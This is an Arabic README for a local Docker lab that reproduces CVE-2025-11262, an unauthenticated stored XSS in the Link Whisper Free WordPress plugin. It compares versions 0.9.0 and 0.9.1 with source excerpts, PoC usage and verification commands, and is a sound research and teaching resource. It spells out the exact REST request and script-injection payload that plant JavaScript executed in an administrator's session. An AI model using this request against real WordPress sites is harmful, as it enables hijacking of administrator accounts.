
يحتوي هذا المستودع على مختبر Docker محلي لإعادة إنتاج CVE-2025-11262، وهي ثغرة XSS مخزّنة غير مصادَق عليها تؤثر على إضافة ووردبريس Link Whisper Free.
يقارن هذا المختبر بين نسختين من الإضافة:
| الخدمة | نسخة الإضافة | الغرض | الرابط |
|---|---|---|---|
vuln | 0.9.0 | الهدف المتأثر بالثغرة | http://127.0.0.1:8081 |
patched | 0.9.1 | هدف المقارنة المُصحَّح | http://127.0.0.1:8082 |
سلسلة الثغرة الموضَّحة هي:
طلب REST بدون مصادقة
→ يتم تخزين user_id الذي يتحكم فيه المهاجم بشكل دائم
→ يفتح مستخدم ووردبريس بصلاحيات مرتفعة صفحة اشتراك Link Whisper AI
→ تُعرض القيمة المخزنة في سياق JavaScript إداري
→ يتم تنفيذ alert("CVE-2025-11262-LAB") على النسخة المتأثرة
لا يحتاج المهاجم إلى تسجيل الدخول لزرع الحمولة المخزنة. إذ يتم تنفيذ JavaScript لاحقًا عندما يفتح مستخدم ووردبريس بصلاحيات مرتفعة الصفحة الإدارية المتأثرة.
صُمم هذا المختبر للبحث المحلي المُتحكَّم فيه، وفهم الكود المصدري، والعرض ضمن ملف الأعمال المهني فقط.
هذا هو قسم Root Cause Summary الجاهز للاستبدال في README مباشرةً. وهو آمن للنشر العام، ولا يذكر الملفات الداخلية مثل vuln_detail.txt، ويستند إلى المختبر/المصدر الذي تستخدمه الآن.
تنتج CVE-2025-11262 عن سلسلة حقن JavaScript مخزّنة في Link Whisper Free 0.9.0.
المشكلة ليست مجرد استدعاء ترميز (escaping) ناقص واحد، بل سلسلة من عدة سلوكيات غير آمنة:
نقطة نهاية REST بدون مصادقة
→ تحقق غير كافٍ من user_id
→ تخزين دائم في wpil_ai_access_user_id
→ عرض غير آمن في سياق JavaScript إداري
→ XSS مخزّن عند فتح مستخدم بصلاحيات مرتفعة لصفحة اشتراك AI
تسجّل Link Whisper Free نقطة نهاية REST لمصادقة AI ضمن مساحة أسماء REST الخاصة بالإضافة:
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
تُسجَّل نقطة النهاية كمسار POST:
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
ولأن قيمة permission_callback هي __return_true، يمكن الوصول إلى نقطة النهاية دون مصادقة.
في هذا المختبر، نقطة النهاية الفعلية هي:
/wp-json/link-whisper/ai-auth
هذا يعني أن المهاجم غير المصادَق يمكنه إرسال طلب إلى نقطة النهاية دون جلسة ووردبريس أو nonce أو حساب مدير.
في Link Whisper Free 0.9.0، يقرأ المعالج المعاملات التي يتحكم فيها المهاجم من طلب REST:
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
السلوك المُعرِّض للثغرة هو شرط التحقق الضعيف:
if(!empty($token) && false !== strpos($token, 'ai-')){
هذا يتحقق فقط مما إذا كان رمز الوصول المقدم يحتوي على السلسلة ai-.
لا يوجد تحقق صارم من user_id قبل تخزينه:
update_option('wpil_ai_access_user_id', $user_id);
ونتيجة لذلك، يمكن تخزين JavaScript يتحكم فيها المهاجم بشكل دائم في جدول خيارات ووردبريس.
تُخزَّن قيمة user_id التي يتحكم فيها المهاجم في خيار ووردبريس:
wpil_ai_access_user_id
في هذا المختبر، يرسل الـ PoC الحمولة المحلية التالية فقط:
</script><script>alert("CVE-2025-11262-LAB")</script>
في الخدمة المتأثرة، تُخزَّن الحمولة كقيمة لـ wpil_ai_access_user_id.
لا يحتاج المهاجم إلى تسجيل الدخول لزرع الحمولة، إذ تُزرع الحمولة عبر نقطة نهاية REST غير المصادَق عليها.
تُسترجَع القيمة المخزنة لاحقًا عبر منطق إعدادات الإضافة:
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
تُسنَد القيمة إلى $ai_id وتُعرض في صفحة اشتراك AI الإدارية.
في Link Whisper Free 0.9.0، تُدرَج القيمة مباشرة داخل سلسلة JavaScript:
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
ولأن $ai_id لا يُرمَّز قبل إدراجه في سياق JavaScript، يمكن لحمولة مخزنة الخروج من السلسلة المقصودة وتنفيذ JavaScript عند فتح الصفحة الإدارية.
مع حمولة المختبر، يصبح الناتج المعروض في النسخة المتأثرة مكافئًا لما يلي:
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
في المتصفح، تُنهي وسمة الإغلاق </script> المحقونة كتلة البرنامج النصي الأصلية، ويتم تنفيذ كتلة <script> المحقونة.
تُزرع الحمولة بواسطة مهاجم غير مصادَق، لكن التنفيذ يتطلب أن يفتح مستخدم ووردبريس بصلاحيات مرتفعة الصفحة الإدارية المتأثرة:
/wp-admin/admin.php?page=link_whisper_ai_subscription
في هذا المختبر، تُفتح الصفحة المتأثرة بصلاحيات مدير ووردبريس لإظهار نافذة التنبيه.
وهذا يجعل المشكلة XSS مخزّنة بدون مصادقة تستهدف مدراء ووردبريس المصادَق عليهم أو المستخدمين ذوي الصلاحيات المرتفعة الذين يمكنهم الوصول إلى صفحة اشتراك Link Whisper AI الإدارية.
يضيف إصدار Link Whisper Free 0.9.1 تحققًا أكثر صرامة قبل تخزين قيم مصادقة AI.
يتطلب المعالج المُصحَّح تطابق رمز الوصول ومعرّف المستخدم مع تنسيقات صارمة:
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
التحقق المهم المضاف لـ user_id هو:
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
يمنع هذا تخزين أي JavaScript عشوائية كمعرّف مستخدم AI.
كما يرمّز إصدار 0.9.1 القيمة قبل عرضها في سياق JavaScript:
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
وبالتالي يخفف الإصلاح المشكلة عند نقطتين:
التحقق من الإدخال قبل التخزين الدائم
ترميز المخرجات قبل العرض في JavaScript
يؤكد المختبر الفرق بين 0.9.0 و0.9.1.
على إصدار Link Whisper Free 0.9.0:
POST /wp-json/link-whisper/ai-auth
→ يُرجع "ok"
→ يخزّن الحمولة في wpil_ai_access_user_id
→ فتح صفحة اشتراك AI الإدارية يؤدي إلى تنفيذ alert("CVE-2025-11262-LAB")
على إصدار Link Whisper Free 0.9.1:
POST /wp-json/link-whisper/ai-auth
→ قد يُرجع "ok" أيضًا
→ لا يخزّن الحمولة
→ فتح صفحة اشتراك AI الإدارية لا يؤدي إلى تنفيذ أي تنبيه
استجابة HTTP وحدها غير كافية لتحديد ما إذا كان الهدف متأثرًا بالثغرة، لأن كلا الإصدارين قد يُرجع "ok". الفرق السلوكي الجوهري هو ما إذا كانت الحمولة تُخزَّن ثم تُعرض لاحقًا في سياق JavaScript الإداري.
يشغّل المختبر مثيلين معزولين من ووردبريس وقاعدتي MySQL منفصلتين عبر Docker Compose.
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
تقوم نقطة الدخول في Docker تلقائيًا بما يلي:
بيانات اعتماد مدير ووردبريس الافتراضية لكلا الخدمتين:
admin / AdminPassw0rd!
قم ببناء المختبر وتشغيله:
docker compose down -v
docker compose build --no-cache
docker compose up -d
تحقق من الحاويات:
docker compose ps
الخدمات المكشوفة المتوقعة:
الهدف المتأثر: http://127.0.0.1:8081
الهدف المُصحَّح: http://127.0.0.1:8082
يمكنك أيضًا مراقبة سجلات الإعداد:
docker compose logs vuln patched
يجب أن يُظهر الإعداد الناجح تفعيل Link Whisper في كل مثيل ووردبريس.
شغّل الـ PoC ضد الخدمة المتأثرة:
python3 poc/poc.py --url http://127.0.0.1:8081
يرسل الـ PoC هذه الحمولة المحلية فقط عبر نقطة نهاية REST غير المصادَق عليها:
</script><script>alert("CVE-2025-11262-LAB")</script>
بعد تشغيل السكربت، افتح رابط الإدارة المطبوع في المتصفح وسجّل الدخول باستخدام:
admin / AdminPassw0rd!
في الخدمة المتأثرة، يجب أن يعرض المتصفح تنبيهًا يحتوي على:
CVE-2025-11262-LAB
للمقارنة، شغّل نفس الـ PoC ضد الخدمة المُصحَّحة:
python3 poc/poc.py --url http://127.0.0.1:8082
ثم افتح رابط الإدارة المطبوع للخدمة المُصحَّحة. يجب ألا يتم إطلاق أي تنبيه.
الهدف المتأثر:
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
الهدف المُصحَّح:
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
استجابة HTTP وحدها غير كافية لتحديد ما إذا كان الهدف متأثرًا بالثغرة. الفرق المهم هو سلوك المتصفح بعد أن يفتح المستخدم ذو الصلاحيات المرتفعة الصفحة الإدارية المتأثرة.

الهدف المقترح للقطة الشاشة:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
يجب أن تُظهر لقطة الشاشة تنبيه المتصفح الذي يحتوي على:
CVE-2025-11262-LAB
الـ PoC صغير عن قصد ولا يتطلب سوى رابط الهدف:
python3 poc/poc.py --url http://127.0.0.1:8081
يرسل طلب POST إلى:
/wp-json/link-whisper/ai-auth
مع حقول النموذج التالية:
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
في الخدمة المتأثرة، تُعرض القيمة المخزنة لاحقًا في صفحة اشتراك AI. وعندما يفتح المدير تلك الصفحة، يتم تنفيذ JavaScript.
في الخدمة المُصحَّحة، يجب ألا تؤدي الحمولة نفسها إلى أي تنبيه.
تحقق من إصدارات الإضافة:
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
تحقق مما إذا كانت الخدمة المتأثرة قد خزّنت الحمولة:
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
القيمة المتوقعة في النسخة المتأثرة:
</script><script>alert("CVE-2025-11262-LAB")</script>
تحقق من الخدمة المُصحَّحة:
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
السلوك المتوقع في النسخة المُصحَّحة:
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
تحقق من سجلات الوصول إلى نقطة نهاية REST:
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
قم بترقية Link Whisper Free إلى 0.9.1 أو أحدث.
يمنع الإصلاح تخزين حمولة هذا المختبر وعرضها من خلال إضافة تحقق أكثر صرامة ومعالجة مخرجات أكثر أمانًا حول مسار مصادقة AI المتأثر.
بالنسبة لبيئات الإنتاج، يُنصح أيضًا بما يلي:
أوقف الحاويات والشبكات ووحدات التخزين وأزلها:
docker compose down -v
أزل الصور المبنية محليًا إذا رغبت:
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
هذا المختبر مخصص للبحث الأمني المحلي والعرض المُتحكَّم فيه فقط.
لا تشغّل الـ PoC ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها.
لا تستخدم بيانات اعتماد حقيقية أو أسرار إنتاجية أو عمليات استدعاء خارجية في هذا المختبر.
يستخدم الـ PoC عن قصد علامة alert() مرئية كدليل للقطات الشاشة. ولا يتضمن حمولات لسرقة بيانات الاعتماد أو سرقة الجلسات أو استمرارية تتجاوز المختبر أو إجراءات إدارية آلية.
قاعدة بيانات GitHub Advisory: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence: مدخل قاعدة بيانات ثغرات إضافة Link Whisper Free
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
دليل إضافات WordPress.org: Link Whisper Free
https://wordpress.org/plugins/link-whisper/
حزمة إضافة WordPress.org المستخدمة في المختبر المتأثر
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
حزمة إضافة WordPress.org المستخدمة في المختبر المُصحَّح
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
متصفح الكود المصدري لإضافات ووردبريس: Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
متصفح الكود المصدري لإضافات ووردبريس: Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
متصفح الكود المصدري لإضافات ووردبريس: Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
متصفح الكود المصدري لإضافات ووردبريس: Link Whisper 0.9.1 Settings.php
| الادعاء | الدليل | طريقة التحقق في هذا المختبر |
|---|
إضافة Link Whisper Free 0.9.0 متأثرة بالثغرة. | تُصنّف النشرات الأمنية العامة إصدارات Link Whisper Free حتى 0.9.0 ضمن الإصدارات المتأثرة. | شغّل الـ PoC ضد http://127.0.0.1:8081 وافتح رابط الإدارة المطبوع. |
إصدار Link Whisper Free 0.9.1 يحتوي على الإصلاح. | تُحدد النشرات الأمنية العامة وبيانات سجل التغييرات 0.9.1 كإصدار مُصحَّح. | شغّل نفس الـ PoC ضد http://127.0.0.1:8082؛ يجب ألا يظهر أي تنبيه. |
| زرع الحمولة يتم بدون مصادقة. | يرسل الـ PoC طلب POST بدون ملفات تعريف ارتباط ووردبريس أو تسجيل دخول أو nonce. | افحص poc/poc.py؛ فهو لا يتطلب سوى --url. |
| يحدث التأثير المرئي في منطقة إدارة ووردبريس. | تُعرض القيمة المخزنة عند فتح صفحة اشتراك Link Whisper AI بواسطة مستخدم بصلاحيات مرتفعة. | بعد تشغيل الـ PoC، سجّل الدخول كمدير وافتح رابط الإدارة المطبوع. |
قد يستمر الهدف المُصحَّح في إرجاع "ok" على مستوى HTTP. | أظهرت الاختبارات المحلية أن كلا الهدفين قد يُرجع "ok"؛ الفرق الجوهري هو ما إذا كانت الحمولة تُخزَّن وتُنفَّذ. | قارن سلوك المتصفح على 8081 و8082. |